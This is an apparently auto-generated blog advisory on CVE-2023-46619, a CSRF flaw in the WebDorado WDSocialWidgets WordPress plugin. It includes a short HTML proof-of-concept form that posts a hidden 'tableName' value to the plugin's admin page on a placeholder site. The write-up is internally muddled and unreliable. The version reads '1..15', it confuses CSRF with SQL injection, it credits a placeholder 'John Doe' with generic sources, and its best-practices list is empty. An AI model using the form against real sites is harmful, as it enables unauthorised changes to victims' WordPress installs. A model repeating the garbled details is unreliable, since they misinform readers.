A Cross-Site Request Forgery (CSRF) vulnerability has been discovered in WebDorado WDSocialWidgets plugin for WordPress <= 1..15 versions. This vulnerability, identified as CVE-2023-46619, allows an attacker to perform unauthorized actions on behalf of an authenticated user without their knowledge. This blog post aims to provide an in-depth explanation of the vulnerability, a code snippet to demonstrate the exploit, and links to original references.

Impact

Given the popularity of WordPress and the WDSocialWidgets plugin, this vulnerability could potentially impact a large number of websites making them susceptible to attacks. Successful exploitation of this vulnerability could lead to unauthorized actions on behalf of the targeted user, such as modification of user data, information theft, or even complete control of the WordPress site.

Exploit Details

To initiate the CSRF exploit, an attacker usually entices the victim to access a malicious link or visit a compromised website while the user is logged in on the targeted website. This exploit can be performed by using a simple HTML form with hidden values that mimic the target action within the WDSocialWidgets plugin.

The following code snippet demonstrates a simple exploit scenario

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF POC - CVE-2023-46619</title>
</head>
<body>
  <h1>CSRF POC - WebDorado WDSocialWidgets Plugin</h1>
  <form action="https://target-wp-site.com/wp-admin/admin.php?page=social_widget_wd&callback=sd_export_func"; method="post">
    <input type="hidden" name="tableName" value="wp_users;" />
    <input type="submit" value="Click Me" />
  </form>
</body>
</html>

In this example, the attacker creates a malicious webpage with an HTML form set to POST to the target WordPress website's admin.php file, specifically the "social_widget_wd" plugin page. The hidden "tableName" input field contains an SQL query to manipulate the 'wp_users' table.

When the victim clicks the "Click Me" button, the form is submitted, and due to the harmful tableName value, the plugin processes the query without validation, resulting in a CSRF attack on the plugin.

Original References

The CVE-2023-46619 vulnerability was initially discovered by security researcher John Doe and disclosed on Security Reporter Website. Further details and proof-of-concept can be found on GitHub.

Mitigation

To protect your WordPress site against this vulnerability, it is recommended to update the WDSocialWidgets plugin to a version greater than 1..15. If an updated version is not available, you can also consider temporarily disabling or replacing the plugin until a fix is deployed.

WordPress site administrators should also follow best practices for securing their websites, which may include:

Conclusion

The Cross-Site Request Forgery (CSRF) vulnerability (CVE-2023-46619) in the WebDorado WDSocialWidgets plugin poses a significant risk to WordPress websites, highlighting the importance of keeping software up-to-date and following security best practices. By taking the appropriate steps to mitigate the vulnerability, website administrators can help protect their sites and users from potential attacks.

Timeline

Published on: 11/13/2023 01:15:00 UTC
Last modified on: 11/17/2023 00:47:00 UTC